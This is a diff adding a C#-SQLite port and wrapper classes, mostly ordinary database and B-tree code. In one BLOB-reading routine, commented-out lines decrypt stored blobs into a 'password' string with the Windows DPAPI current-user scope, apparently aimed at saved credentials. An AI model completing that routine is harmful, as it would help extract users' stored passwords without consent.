query + DataTable table = new DataTable(); + + // create new instance of DataTable with name "resultTable" + table = new DataTable( "resultTable" ); + + // reads rows + do { } while ( ReadNextRow( statement.VirtualMachine(), table ) == CSSQLite.SQLITE_ROW ); + // finalize executing this query + statement.Close(); + // returns table + return table; + } + + // private function for reading rows and creating table and columns + private int ReadNextRow( Vdbe vm, DataTable table ) + { + int columnCount = table.Columns.Count; + if ( columnCount == 0 ) + { + if ( ( columnCount = ReadColumnNames( vm, table ) ) == 0 ) return CSSQLite.SQLITE_ERROR; + } + + int resultType; + if ( ( resultType = CSSQLite.sqlite3_step( vm) ) == CSSQLite.SQLITE_ROW ) + { + object[] columnValues = new object[columnCount]; + + for ( int i = 0 ; i < columnCount ; i++ ) + { + int columnType = CSSQLite.sqlite3_column_type( vm, i ); + switch ( columnType ) + { + case CSSQLite.SQLITE_INTEGER: + { + columnValues[i] = CSSQLite.sqlite3_column_int( vm, i ); + break; + } + case CSSQLite.SQLITE_FLOAT: + { + columnValues[i] = CSSQLite.sqlite3_column_double( vm, i ); + break; + } + case CSSQLite.SQLITE_TEXT: + { + columnValues[i] = CSSQLite.sqlite3_column_text( vm, i ); + break; + } + case CSSQLite.SQLITE_BLOB: + { + // Something goes wrong between adding this as a column value and converting to a row value. + byte[] encBlob = CSSQLite.sqlite3_column_blob(vm, i); + string base64 = Convert.ToBase64String(encBlob); + //byte[] decPass = ProtectedData.Unprotect(encBlob, null, DataProtectionScope.CurrentUser); + //string password = Encoding.ASCII.GetString(decPass); + //columnValues[i] = password; + columnValues[i] = base64; + + break; + } + default: + { + columnValues[i] = ""; + break; + } + } + } + table.Rows.Add( columnValues ); + } + return resultType; + } + // private function for creating Column Names + // Return number of colums read + private int ReadColumnNames( Vdbe vm, DataTable table ) + { + + String columnName = ""; + int columnType = 0; + // returns number of columns returned by statement + int columnCount = CSSQLite.sqlite3_column_count( vm ); + object[] columnValues = new object[columnCount]; + + try + { + // reads columns one by one + for ( int i = 0 ; i < columnCount ; i++ ) + { + columnName = CSSQLite.sqlite3_column_name( vm, i ); + columnType = CSSQLite.sqlite3_column_type( vm, i ); + switch ( columnType ) + { + case CSSQLite.SQLITE_INTEGER: + { + // adds new integer column to table + table.Columns.Add( columnName, Type.GetType( "System.Int64" ) ); + break; + } + case CSSQLite.SQLITE_FLOAT: + { + table.Columns.Add( columnName, Type.GetType( "System.Double" ) ); + break; + } + case CSSQLite.SQLITE_TEXT: + { + table.Columns.Add( columnName, typeof(string) ); + break; + } + case CSSQLite.SQLITE_BLOB: + { + table.Columns.Add( columnName, typeof(byte[]) ); + break; + } + default: + { + table.Columns.Add( columnName, Type.GetType( "System.String" ) ); + break; + } + } + } + } + catch + { + return 0; + } + return table.Columns.Count; + } + + } + +} + diff --git a/SQLite/SQLiteVdbe.cs b/SQLite/SQLiteVdbe.cs new file mode 100644 index 0000000..afcdb39 --- /dev/null +++ b/SQLite/SQLiteVdbe.cs @@ -0,0 +1,166 @@ +// $Header$ +using System; +using System.Collections.Generic; +using System.Text; +using CS_SQLite3; +using System.Data; +using System.Collections; + +namespace CS_SQLite3 +{ + + using sqlite = CSSQLite.sqlite3; + using Vdbe = CSSQLite.Vdbe; + + /// + /// C#-SQLite wrapper with functions for opening, closing and executing queries. + /// + public class SQLiteVdbe + { + private Vdbe vm = null; + private string LastError = ""; + private int LastResult = 0; + + /// + /// Creates new instance of SQLiteVdbe class by compiling a statement + /// + /// + /// Vdbe + public SQLiteVdbe( SQLiteDatabase db, String query ) + { + vm = null; + + // prepare and compile + CSSQLite.sqlite3_prepare_v2( db.Connection(), query, query.Length, ref vm, 0 ); + } + + /// + /// Return Virtual Machine Pointer + /// + /// + /// Vdbe + public Vdbe VirtualMachine() + { + return vm; + } + + /// + /// + /// BindInteger + /// + /// + /// + /// LastResult + public int BindInteger(int index, int bInteger ) + { + if ( (LastResult = CSSQLite.sqlite3_bind_int( vm, index, bInteger ))== CSSQLite.SQLITE_OK ) + { LastError = ""; } + else + { + LastError = "Error " + LastError + "binding Integer [" + bInteger + "]"; + } + return LastResult; + } + + /// + /// + /// BindLong + /// + /// + /// + /// LastResult + public int BindLong( int index, long bLong ) + { + if ( ( LastResult = CSSQLite.sqlite3_bind_int64( vm, index, bLong ) ) == CSSQLite.SQLITE_OK ) + { LastError = ""; } + else + { + LastError = "Error " + LastError + "binding Long [" + bLong + "]"; + } + return LastResult; + } + + /// + /// BindText + /// + /// + /// + /// LastResult + public int BindText( int index, string bText ) + { + if ( ( LastResult = CSSQLite.sqlite3_bind_text( vm, index, bText ,-1,null) ) == CSSQLite.SQLITE_OK ) + { LastError = ""; } + else + { + LastError = "Error " + LastError + "binding Text [" + bText + "]"; + } + return LastResult; + } + + /// + /// Execute statement + /// + /// + /// LastResult + public int ExecuteStep( ) + { + // Execute the statement + int LastResult = CSSQLite.sqlite3_step( vm ); + + return LastResult; + } + + /// + /// Returns Result column as Long + /// + /// + /// Result column + public long Result_Long(int index) + { + return CSSQLite.sqlite3_column_int64( vm, index ); + } + + /// + /// Returns Result column as Text + /// + /// + /// Result column + public string Result_Text( int index ) + { + return CSSQLite.sqlite3_column_text( vm, index ); + } + + + /// + /// Returns Count of Result Rows + /// + /// + /// Count of Results + public int ResultColumnCount( ) + { + return vm.pResultSet == null ? 0 : vm.pResultSet.Length; + } + + /// + /// Reset statement + /// + /// + /// + public void Reset() + { + // Reset the statment so it's ready to use again + CSSQLite.sqlite3_reset( vm ); + } + + /// + /// Closes statement + /// + /// + /// LastResult + public void Close() + { + CSSQLite.sqlite3_finalize( ref vm ); + } + + } +} diff --git a/SQLite/src/BtreeInt_h.cs b/SQLite/src/BtreeInt_h.cs new file mode 100644 index 0000000..9fc8b69 --- /dev/null +++ b/SQLite/src/BtreeInt_h.cs @@ -0,0 +1,750 @@ +using System; +using System.Diagnostics; + +using i16 = System.Int16; +using i64 = System.Int64; +using u8 = System.Byte; +using u16 = System.UInt16; +using u32 = System.UInt32; +using u64 = System.UInt64; + +using sqlite3_int64 = System.Int64; +using Pgno = System.UInt32; + +namespace CS_SQLite3 +{ + using DbPage = CSSQLite.PgHdr; + + public partial class CSSQLite + { + /* + ** 2004 April 6 + ** + ** The author disclaims copyright to this source code. In place of + ** a legal notice, here is a blessing: + ** + ** May you do good and not evil. + ** May you find forgiveness for yourself and forgive others. + ** May you share freely, never taking more than you give. + ** + ************************************************************************* + ** $Id: btreeInt.h,v 1.52 2009/07/15 17:25:46 drh Exp $ + ** + ************************************************************************* + ** Included in SQLite3 port to C#-SQLite; 2008 Noah B Hart + ** C#-SQLite is an independent reimplementation of the SQLite software library + ** + ** $Header$ + ************************************************************************* + ** + ** This file implements a external (disk-based) database using BTrees. + ** For a detailed discussion of BTrees, refer to + ** + ** Donald E. Knuth, THE ART OF COMPUTER PROGRAMMING, Volume 3: + ** "Sorting And Searching", pages 473-480. Addison-Wesley + ** Publishing Company, Reading, Massachusetts. + ** + ** The basic idea is that each page of the file contains N database + ** entries and N+1 pointers to subpages. + ** + ** ---------------------------------------------------------------- + ** | Ptr(0) | Key(0) | Ptr(1) | Key(1) | ... | Key(N-1) | Ptr(N) | + ** ---------------------------------------------------------------- + ** + ** All of the keys on the page that Ptr(0) points to have values less + ** than Key(0). All of the keys on page Ptr(1) and its subpages have + ** values greater than Key(0) and less than Key(1). All of the keys + ** on Ptr(N) and its subpages have values greater than Key(N-1). And + ** so forth. + ** + ** Finding a particular key requires reading O(log(M)) pages from the + ** disk where M is the number of entries in the tree. + ** + ** In this implementation, a single file can hold one or more separate + ** BTrees. Each BTree is identified by the index of its root page. The + ** key and data for any entry are combined to form the "payload". A + ** fixed amount of payload can be carried directly on the database + ** page. If the payload is larger than the preset amount then surplus + ** bytes are stored on overflow pages. The payload for an entry + ** and the preceding pointer are combined to form a "Cell". Each + ** page has a small header which contains the Ptr(N) pointer and other + ** information such as the size of key and data. + ** + ** FORMAT DETAILS + ** + ** The file is divided into pages. The first page is called page 1, + ** the second is page 2, and so forth. A page number of zero indicates + ** "no such page". The page size can be anything between 512 and 65536. + ** Each page can be either a btree page, a freelist page or an overflow + ** page. + ** + ** The first page is always a btree page. The first 100 bytes of the first + ** page contain a special header (the "file header") that describes the file. + ** The format of the file header is as follows: + ** + ** OFFSET SIZE DESCRIPTION + ** 0 16 Header string: "SQLite format 3\000" + ** 16 2 Page size in bytes. + ** 18 1 File format write version + ** 19 1 File format read version + ** 20 1 Bytes of unused space at the end of each page + ** 21 1 Max embedded payload fraction + ** 22 1 Min embedded payload fraction + ** 23 1 Min leaf payload fraction + ** 24 4 File change counter + ** 28 4 Reserved for future use + ** 32 4 First freelist page + ** 36 4 Number of freelist pages in the file + ** 40 60 15 4-byte meta values passed to higher layers + ** + ** 40 4 Schema cookie + ** 44 4 File format of schema layer + ** 48 4 Size of page cache + ** 52 4 Largest root-page (auto/incr_vacuum) + ** 56 4 1=UTF-8 2=UTF16le 3=UTF16be + ** 60 4 User version + ** 64 4 Incremental vacuum mode + ** 68 4 unused + ** 72 4 unused + ** 76 4 unused + ** + ** All of the integer values are big-endian (most significant byte first). + ** + ** The file change counter is incremented when the database is changed + ** This counter allows other processes to know when the file has changed + ** and thus when they need to flush their cache. + ** + ** The max embedded payload fraction is the amount of the total usable + ** space in a page that can be consumed by a single cell for standard + ** B-tree (non-LEAFDATA) tables. A value of 255 means 100%. The default + ** is to limit the maximum cell size so that at least 4 cells will fit + ** on one page. Thus the default max embedded payload fraction is 64. + ** + ** If the payload for a cell is larger than the max payload, then extra + ** payload is spilled to overflow pages. Once an overflow page is allocated, + ** as many bytes as possible are moved into the overflow pages without letting + ** the cell size drop below the min embedded payload fraction. + ** + ** The min leaf payload fraction is like the min embedded payload fraction + ** except that it applies to leaf nodes in a LEAFDATA tree. The maximum + ** payload fraction for a LEAFDATA tree is always 100% (or 255) and it + ** not specified in the header. + ** + ** Each btree pages is divided into three sections: The header, the + ** cell pointer array, and the cell content area. Page 1 also has a 100-byte + ** file header that occurs before the page header. + ** + ** |----------------| + ** | file header | 100 bytes. Page 1 only. + ** |----------------| + ** | page header | 8 bytes for leaves. 12 bytes for interior nodes + ** |----------------| + ** | cell pointer | | 2 bytes per cell. Sorted order. + ** | array | | Grows downward + ** | | v + ** |----------------| + ** | unallocated | + ** | space | + ** |----------------| ^ Grows upwards + ** | cell content | | Arbitrary order interspersed with freeblocks. + ** | area | | and free space fragments. + ** |----------------| + ** + ** The page headers looks like this: + ** + ** OFFSET SIZE DESCRIPTION + ** 0 1 Flags. 1: intkey, 2: zerodata, 4: leafdata, 8: leaf + ** 1 2 byte offset to the first freeblock + ** 3 2 number of cells on this page + ** 5 2 first byte of the cell content area + ** 7 1 number of fragmented free bytes + ** 8 4 Right child (the Ptr(N) value). Omitted on leaves. + ** + ** The flags define the format of this btree page. The leaf flag means that + ** this page has no children. The zerodata flag means that this page carries + ** only keys and no data. The intkey flag means that the key is a integer + ** which is stored in the key size entry of the cell header rather than in + ** the payload area. + ** + ** The cell pointer array begins on the first byte after the page header. + ** The cell pointer array contains zero or more 2-byte numbers which are + ** offsets from the beginning of the page to the cell content in the cell + ** content area. The cell pointers occur in sorted order. The system strives + ** to keep free space after the last cell pointer so that new cells can + ** be easily added without having to defragment the page. + ** + ** Cell content is stored at the very end of the page and grows toward the + ** beginning of the page. + ** + ** Unused space within the cell content area is collected into a linked list of + ** freeblocks. Each freeblock is at least 4 bytes in size. The byte offset + ** to the first freeblock is given in the header. Freeblocks occur in + ** increasing order. Because a freeblock must be at least 4 bytes in size, + ** any group of 3 or fewer unused bytes in the cell content area cannot + ** exist on the freeblock chain. A group of 3 or fewer free bytes is called + ** a fragment. The total number of bytes in all fragments is recorded. + ** in the page header at offset 7. + ** + ** SIZE DESCRIPTION + ** 2 Byte offset of the next freeblock + ** 2 Bytes in this freeblock + ** + ** Cells are of variable length. Cells are stored in the cell content area at + ** the end of the page. Pointers to the cells are in the cell pointer array + ** that immediately follows the page header. Cells is not necessarily + ** contiguous or in order, but cell pointers are contiguous and in order. + ** + ** Cell content makes use of variable length integers. A variable + ** length integer is 1 to 9 bytes where the lower 7 bits of each + ** byte are used. The integer consists of all bytes that have bit 8 set and + ** the first byte with bit 8 clear. The most significant byte of the integer + ** appears first. A variable-length integer may not be more than 9 bytes long. + ** As a special case, all 8 bytes of the 9th byte are used as data. This + ** allows a 64-bit integer to be encoded in 9 bytes. + ** + ** 0x00 becomes 0x00000000 + ** 0x7f becomes 0x0000007f + ** 0x81 0x00 becomes 0x00000080 + ** 0x82 0x00 becomes 0x00000100 + ** 0x80 0x7f becomes 0x0000007f + ** 0x8a 0x91 0xd1 0xac 0x78 becomes 0x12345678 + ** 0x81 0x81 0x81 0x81 0x01 becomes 0x10204081 + ** + ** Variable length integers are used for rowids and to hold the number of + ** bytes of key and data in a btree cell. + ** + ** The content of a cell looks like this: + ** + ** SIZE DESCRIPTION + ** 4 Page number of the left child. Omitted if leaf flag is set. + ** var Number of bytes of data. Omitted if the zerodata flag is set. + ** var Number of bytes of key. Or the key itself if intkey flag is set. + ** * Payload + ** 4 First page of the overflow chain. Omitted if no overflow + ** + ** Overflow pages form a linked list. Each page except the last is completely + ** filled with data (pagesize - 4 bytes). The last page can have as little + ** as 1 byte of data. + ** + ** SIZE DESCRIPTION + ** 4 Page number of next overflow page + ** * Data + ** + ** Freelist pages come in two subtypes: trunk pages and leaf pages. The + ** file header points to the first in a linked list of trunk page. Each trunk + ** page points to multiple leaf pages. The content of a leaf page is + ** unspecified. A trunk page looks like this: + ** + ** SIZE DESCRIPTION + ** 4 Page number of next trunk page + ** 4 Number of leaf pointers on this page + ** * zero or more pages numbers of leaves + */ + //#include "sqliteInt.h" + + /* The following value is the maximum cell size assuming a maximum page + ** size give above. + */ + //#define MX_CELL_SIZE(pBt) (pBt.pageSize-8) + static int MX_CELL_SIZE( BtShared pBt ) { return ( pBt.pageSize - 8 ); } + + /* The maximum number of cells on a single page of the database. This + ** assumes a minimum cell size of 6 bytes (4 bytes for the cell itself + ** plus 2 bytes for the index to the cell in the page header). Such + ** small cells will be rare, but they are possible. + */ + //#define MX_CELL(pBt) ((pBt.pageSize-8)/6) + static int MX_CELL( BtShared pBt ) { return ( ( pBt.pageSize - 8 ) / 6 ); } + + /* Forward declarations */ + //typedef struct MemPage MemPage; + //typedef struct BtLock BtLock; + + /* + ** This is a magic string that appears at the beginning of every + ** SQLite database in order to identify the file as a real database. + ** + ** You can change this value at compile-time by specifying a + ** -DSQLITE_FILE_HEADER="..." on the compiler command-line. The + ** header must be exactly 16 bytes including the zero-terminator so + ** the string itself should be 15 characters long. If you change + ** the header, then your custom library will not be able to read + ** databases generated by the standard tools and the standard tools + ** will not be able to read databases created by your custom library. + */ +#if !SQLITE_FILE_HEADER //* 123456789 123456 */ + const string SQLITE_FILE_HEADER = "SQLite format 3\0"; +#endif + + /* +** Page type flags. An ORed combination of these flags appear as the +** first byte of on-disk image of every BTree page. +*/ + const byte PTF_INTKEY = 0x01; + const byte PTF_ZERODATA = 0x02; + const byte PTF_LEAFDATA = 0x04; + const byte PTF_LEAF = 0x08; + + /* + ** As each page of the file is loaded into memory, an instance of the following + ** structure is appended and initialized to zero. This structure stores + ** information about the page that is decoded from the raw file page. + ** + ** The pParent field points back to the parent page. This allows us to + ** walk up the BTree from any leaf to the root. Care must be taken to + ** unref() the parent page pointer when this page is no longer referenced. + ** The pageDestructor() routine handles that chore. + ** + ** Access to all fields of this structure is controlled by the mutex + ** stored in MemPage.pBt.mutex. + */ + public struct _OvflCell + { /* Cells that will not fit on aData[] */ + public u8[] pCell; /* Pointers to the body of the overflow cell */ + public u16 idx; /* Insert this cell before idx-th non-overflow cell */ + public _OvflCell Copy() + { + _OvflCell cp = new _OvflCell(); + if ( pCell != null ) + { + cp.pCell = new byte[pCell.Length]; + Buffer.BlockCopy( pCell, 0, cp.pCell, 0, pCell.Length ); + } + cp.idx = idx; + return cp; + } + }; + public class MemPage + { + public u8 isInit; /* True if previously initialized. MUST BE FIRST! */ + public u8 nOverflow; /* Number of overflow cell bodies in aCell[] */ + public u8 intKey; /* True if u8key flag is set */ + public u8 leaf; /* 1 if leaf flag is set */ + public u8 hasData; /* True if this page stores data */ + public u8 hdrOffset; /* 100 for page 1. 0 otherwise */ + public u8 childPtrSize; /* 0 if leaf==1. 4 if leaf==0 */ + public u16 maxLocal; /* Copy of BtShared.maxLocal or BtShared.maxLeaf */ + public u16 minLocal; /* Copy of BtShared.minLocal or BtShared.minLeaf */ + public u16 cellOffset; /* Index in aData of first cell pou16er */ + public u16 nFree; /* Number of free bytes on the page */ + public u16 nCell; /* Number of cells on this page, local and ovfl */ + public u16 maskPage; /* Mask for page offset */ + public _OvflCell[] aOvfl = new _OvflCell[5]; + public BtShared pBt; /* Pointer to BtShared that this page is part of */ + public byte[] aData; /* Pointer to disk image of the page data */ + public DbPage pDbPage; /* Pager page handle */ + public Pgno pgno; /* Page number for this page */ + + public MemPage Copy() + { + MemPage cp = (MemPage)MemberwiseClone(); + if ( aOvfl != null ) + { + cp.aOvfl = new _OvflCell[aOvfl.Length]; + for ( int i = 0 ; i < aOvfl.Length ; i++ ) cp.aOvfl[i] = aOvfl[i].Copy(); + } + if ( aData != null ) + { + cp.aData = new byte[aData.Length]; + Buffer.BlockCopy( aData, 0, cp.aData, 0, aData.Length ); + } + return cp; + } + }; + + /* + ** The in-memory image of a disk page has the auxiliary information appended + ** to the end. EXTRA_SIZE is the number of bytes of space needed to hold + ** that extra information. + */ + const int EXTRA_SIZE = 0;// No used in C#, since we use create a class; was MemPage.Length; + + /* + ** A linked list of the following structures is stored at BtShared.pLock. + ** Locks are added (or upgraded from READ_LOCK to WRITE_LOCK) when a cursor + ** is opened on the table with root page BtShared.iTable. Locks are removed + ** from this list when a transaction is committed or rolled back, or when + ** a btree handle is closed. + */ + public class BtLock { + Btree pBtree; /* Btree handle holding this lock */ + Pgno iTable; /* Root page of table */ + u8 eLock; /* READ_LOCK or WRITE_LOCK */ + BtLock pNext; /* Next in BtShared.pLock list */ + }; + + /* Candidate values for BtLock.eLock */ + //#define READ_LOCK 1 + //#define WRITE_LOCK 2 + const int READ_LOCK = 1; + const int WRITE_LOCK = 2; + + /* A Btree handle + ** + ** A database connection contains a pointer to an instance of + ** this object for every database file that it has open. This structure + ** is opaque to the database connection. The database connection cannot + ** see the internals of this structure and only deals with pointers to + ** this structure. + ** + ** For some database files, the same underlying database cache might be + ** shared between multiple connections. In that case, each contection + ** has it own pointer to this object. But each instance of this object + ** points to the same BtShared object. The database cache and the + ** schema associated with the database file are all contained within + ** the BtShared object. + ** + ** All fields in this structure are accessed under sqlite3.mutex. + ** The pBt pointer itself may not be changed while there exists cursors + ** in the referenced BtShared that point back to this Btree since those + ** cursors have to do go through this Btree to find their BtShared and + ** they often do so without holding sqlite3.mutex. + */ + public class Btree + { + public sqlite3 db; /* The database connection holding this Btree */ + public BtShared pBt; /* Sharable content of this Btree */ + public u8 inTrans; /* TRANS_NONE, TRANS_READ or TRANS_WRITE */ + public bool sharable; /* True if we can share pBt with another db */ + public bool locked; /* True if db currently has pBt locked */ + public int wantToLock; /* Number of nested calls to sqlite3BtreeEnter() */ + public int nBackup; /* Number of backup operations reading this btree */ + public Btree pNext; /* List of other sharable Btrees from the same db */ + public Btree pPrev; /* Back pointer of the same list */ +#if !SQLITE_OMIT_SHARED_CACHE + BtLock lock; /* Object used to lock page 1 */ +#endif + }; + + /* + ** Btree.inTrans may take one of the following values. + ** + ** If the shared-data extension is enabled, there may be multiple users + ** of the Btree structure. At most one of these may open a write transaction, + ** but any number may have active read transactions. + */ + const byte TRANS_NONE = 0; + const byte TRANS_READ = 1; + const byte TRANS_WRITE = 2; + + /* + ** An instance of this object represents a single database file. + ** + ** A single database file can be in use as the same time by two + ** or more database connections. When two or more connections are + ** sharing the same database file, each connection has it own + ** private Btree object for the file and each of those Btrees points + ** to this one BtShared object. BtShared.nRef is the number of + ** connections currently sharing this database file. + ** + ** Fields in this structure are accessed under the BtShared.mutex + ** mutex, except for nRef and pNext which are accessed under the + ** global SQLITE_MUTEX_STATIC_MASTER mutex. The pPager field + ** may not be modified once it is initially set as long as nRef>0. + ** The pSchema field may be set once under BtShared.mutex and + ** thereafter is unchanged as long as nRef>0. + ** + ** isPending: + ** + ** If a BtShared client fails to obtain a write-lock on a database + ** table (because there exists one or more read-locks on the table), + ** the shared-cache enters 'pending-lock' state and isPending is + ** set to true. + ** + ** The shared-cache leaves the 'pending lock' state when either of + ** the following occur: + ** + ** 1) The current writer (BtShared.pWriter) concludes its transaction, OR + ** 2) The number of locks held by other connections drops to zero. + ** + ** while in the 'pending-lock' state, no connection may start a new + ** transaction. + ** + ** This feature is included to help prevent writer-starvation. + */ + public class BtShared + { + public Pager pPager; /* The page cache */ + public sqlite3 db; /* Database connection currently using this Btree */ + public BtCursor pCursor; /* A list of all open cursors */ + public MemPage pPage1; /* First page of the database */ + public bool readOnly; /* True if the underlying file is readonly */ + public bool pageSizeFixed; /* True if the page size can no longer be changed */ +#if !SQLITE_OMIT_AUTOVACUUM + public bool autoVacuum; /* True if auto-vacuum is enabled */ + public bool incrVacuum; /* True if incr-vacuum is enabled */ +#endif + public u16 pageSize; /* Total number of bytes on a page */ + public u16 usableSize; /* Number of usable bytes on each page */ + public u16 maxLocal; /* Maximum local payload in non-LEAFDATA tables */ + public u16 minLocal; /* Minimum local payload in non-LEAFDATA tables */ + public u16 maxLeaf; /* Maximum local payload in a LEAFDATA table */ + public u16 minLeaf; /* Minimum local payload in a LEAFDATA table */ + public u8 inTransaction; /* Transaction state */ + public int nTransaction; /* Number of open transactions (read + write) */ + public Schema pSchema; /* Pointer to space allocated by sqlite3BtreeSchema() */ + public dxFreeSchema xFreeSchema;/* Destructor for BtShared.pSchema */ + public sqlite3_mutex mutex; /* Non-recursive mutex required to access this struct */ + public Bitvec pHasContent; /* Set of pages moved to free-list this transaction */ +#if !SQLITE_OMIT_SHARED_CACHE +public int nRef; /* Number of references to this structure */ +public BtShared pNext; /* Next on a list of sharable BtShared structs */ +public BtLock pLock; /* List of locks held on this shared-btree struct */ +public Btree pWriter; /* Btree with currently open write transaction */ +public u8 isExclusive; /* True if pWriter has an EXCLUSIVE lock on the db */ +public u8 isPending; /* If waiting for read-locks to clear */ +#endif + public byte[] pTmpSpace; /* BtShared.pageSize bytes of space for tmp use */ + }; + + /* + ** An instance of the following structure is used to hold information + ** about a cell. The parseCellPtr() function fills in this structure + ** based on information extract from the raw disk page. + */ + //typedef struct CellInfo CellInfo; + public struct CellInfo + { + public byte[] pCell; /* Pointer to the start of cell content */ + public int iCell; /* Offset to start of cell content -- Needed for C# */ + public i64 nKey; /* The key for INTKEY tables, or number of bytes in key */ + public u32 nData; /* Number of bytes of data */ + public u32 nPayload; /* Total amount of payload */ + public u16 nHeader; /* Size of the cell content header in bytes */ + public u16 nLocal; /* Amount of payload held locally */ + public u16 iOverflow; /* Offset to overflow page number. Zero if no overflow */ + public u16 nSize; /* Size of the cell content on the main b-tree page */ + public bool Equals( CellInfo ci ) + { + if ( ci.pCell[ci.iCell] != this.pCell[iCell] ) return false; + if ( ci.nKey != this.nKey || ci.nData != this.nData || ci.nPayload != this.nPayload ) return false; + if ( ci.nHeader != this.nHeader || ci.nLocal != this.nLocal ) return false; + if ( ci.iOverflow != this.iOverflow || ci.nSize != this.nSize ) return false; + return true; + } + }; + + /* + ** Maximum depth of an SQLite B-Tree structure. Any B-Tree deeper than + ** this will be declared corrupt. This value is calculated based on a + ** maximum database size of 2^31 pages a minimum fanout of 2 for a + ** root-node and 3 for all other internal nodes. + ** + ** If a tree that appears to be taller than this is encountered, it is + ** assumed that the database is corrupt. + */ + //#define BTCURSOR_MAX_DEPTH 20 + const int BTCURSOR_MAX_DEPTH = 20; + + /* + ** A cursor is a pointer to a particular entry within a particular + ** b-tree within a database file. + ** + ** The entry is identified by its MemPage and the index in + ** MemPage.aCell[] of the entry. + ** + ** When a single database file can shared by two more database connections, + ** but cursors cannot be shared. Each cursor is associated with a + ** particular database connection identified BtCursor.pBtree.db. + ** + ** Fields in this structure are accessed under the BtShared.mutex + ** found at self.pBt.mutex. + */ + public class BtCursor + { + public Btree pBtree; /* The Btree to which this cursor belongs */ + public BtShared pBt; /* The BtShared this cursor points to */ + public BtCursor pNext; + public BtCursor pPrev; /* Forms a linked list of all cursors */ + public KeyInfo pKeyInfo; /* Argument passed to comparison function */ + public Pgno pgnoRoot; /* The root page of this tree */ + public sqlite3_int64 cachedRowid; /* Next rowid cache. 0 means not valid */ + public CellInfo info = new CellInfo(); /* A parse of the cell we are pointing at */ + public u8 wrFlag; /* True if writable */ + public u8 atLast; /* VdbeCursor pointing to the last entry */ + public bool validNKey; /* True if info.nKey is valid */ + public int eState; /* One of the CURSOR_XXX constants (see below) */ + public byte[] pKey; /* Saved key that was cursor's last known position */ + public i64 nKey; /* Size of pKey, or last integer key */ + public int skipNext; /* Prev() is noop if negative. Next() is noop if positive */ +#if !SQLITE_OMIT_INCRBLOB +public bool isIncrblobHandle; /* True if this cursor is an incr. io handle */ +public Pgno[] aOverflow; /* Cache of overflow page locations */ +#endif + public i16 iPage; /* Index of current page in apPage */ + public MemPage[] apPage = new MemPage[BTCURSOR_MAX_DEPTH]; /* Pages from root to current page */ + public u16[] aiIdx = new u16[BTCURSOR_MAX_DEPTH]; /* Current index in apPage[i] */ + + public BtCursor Copy() + { + BtCursor cp = (BtCursor)MemberwiseClone(); + return cp; + } + }; + + /* + ** Potential values for BtCursor.eState. + ** + ** CURSOR_VALID: + ** VdbeCursor points to a valid entry. getPayload() etc. may be called. + ** + ** CURSOR_INVALID: + ** VdbeCursor does not point to a valid entry. This can happen (for example) + ** because the table is empty or because BtreeCursorFirst() has not been + ** called. + ** + ** CURSOR_REQUIRESEEK: + ** The table that this cursor was opened on still exists, but has been + ** modified since the cursor was last used. The cursor position is saved + ** in variables BtCursor.pKey and BtCursor.nKey. When a cursor is in + ** this state, restoreCursorPosition() can be called to attempt to + ** seek the cursor to the saved position. + ** + ** CURSOR_FAULT: + ** A unrecoverable error (an I/O error or a malloc failure) has occurred + ** on a different connection that shares the BtShared cache with this + ** cursor. The error has left the cache in an inconsistent state. + ** Do nothing else with this cursor. Any attempt to use the cursor + ** should return the error code stored in BtCursor.skip + */ + const int CURSOR_INVALID = 0; + const int CURSOR_VALID = 1; + const int CURSOR_REQUIRESEEK = 2; + const int CURSOR_FAULT = 3; + + /* + ** The database page the PENDING_BYTE occupies. This page is never used. + */ + //# define PENDING_BYTE_PAGE(pBt) PAGER_MJ_PGNO(pBt) + // TODO -- Convert PENDING_BYTE_PAGE to inline + static u32 PENDING_BYTE_PAGE( BtShared pBt ) { return (u32)PAGER_MJ_PGNO( pBt.pPager ); } + + /* + ** These macros define the location of the pointer-map entry for a + ** database page. The first argument to each is the number of usable + ** bytes on each page of the database (often 1024). The second is the + ** page number to look up in the pointer map. + ** + ** PTRMAP_PAGENO returns the database page number of the pointer-map + ** page that stores the required pointer. PTRMAP_PTROFFSET returns + ** the offset of the requested map entry. + ** + ** If the pgno argument passed to PTRMAP_PAGENO is a pointer-map page, + ** then pgno is returned. So (pgno==PTRMAP_PAGENO(pgsz, pgno)) can be + ** used to test if pgno is a pointer-map page. PTRMAP_ISPAGE implements + ** this test. + */ + //#define PTRMAP_PAGENO(pBt, pgno) ptrmapPageno(pBt, pgno) + static Pgno PTRMAP_PAGENO( BtShared pBt, Pgno pgno ) { return ptrmapPageno( pBt, pgno ); } + //#define PTRMAP_PTROFFSET(pgptrmap, pgno) (5*(pgno-pgptrmap-1)) + static u32 PTRMAP_PTROFFSET( u32 pgptrmap, u32 pgno ) { return ( 5 * ( pgno - pgptrmap - 1 ) ); } + //#define PTRMAP_ISPAGE(pBt, pgno) (PTRMAP_PAGENO((pBt),(pgno))==(pgno)) + static bool PTRMAP_ISPAGE( BtShared pBt, u32 pgno ) { return ( PTRMAP_PAGENO( ( pBt ), ( pgno ) ) == ( pgno ) ); } + /* + ** The pointer map is a lookup table that identifies the parent page for + ** each child page in the database file. The parent page is the page that + ** contains a pointer to the child. Every page in the database contains + ** 0 or 1 parent pages. (In this context 'database page' refers + ** to any page that is not part of the pointer map itself.) Each pointer map + ** entry consists of a single byte 'type' and a 4 byte parent page number. + ** The PTRMAP_XXX identifiers below are the valid types. + ** + ** The purpose of the pointer map is to facility moving pages from one + ** position in the file to another as part of autovacuum. When a page + ** is moved, the pointer in its parent must be updated to point to the + ** new location. The pointer map is used to locate the parent page quickly. + ** + ** PTRMAP_ROOTPAGE: The database page is a root-page. The page-number is not + ** used in this case. + ** + ** PTRMAP_FREEPAGE: The database page is an unused (free) page. The page-number + ** is not used in this case. + ** + ** PTRMAP_OVERFLOW1: The database page is the first page in a list of + ** overflow pages. The page number identifies the page that + ** contains the cell with a pointer to this overflow page. + ** + ** PTRMAP_OVERFLOW2: The database page is the second or later page in a list of + ** overflow pages. The page-number identifies the previous + ** page in the overflow page list. + ** + ** PTRMAP_BTREE: The database page is a non-root btree page. The page number + ** identifies the parent page in the btree. + */ + //#define PTRMAP_ROOTPAGE 1 + //#define PTRMAP_FREEPAGE 2 + //#define PTRMAP_OVERFLOW1 3 + //#define PTRMAP_OVERFLOW2 4 + //#define PTRMAP_BTREE 5 + const int PTRMAP_ROOTPAGE = 1; + const int PTRMAP_FREEPAGE = 2; + const int PTRMAP_OVERFLOW1 = 3; + const int PTRMAP_OVERFLOW2 = 4; + const int PTRMAP_BTREE = 5; + + /* A bunch of Debug.Assert() statements to check the transaction state variables + ** of handle p (type Btree*) are internally consistent. + */ +#if DEBUG + //#define btreeIntegrity(p) \ + // Debug.Assert( p.pBt.inTransaction!=TRANS_NONE 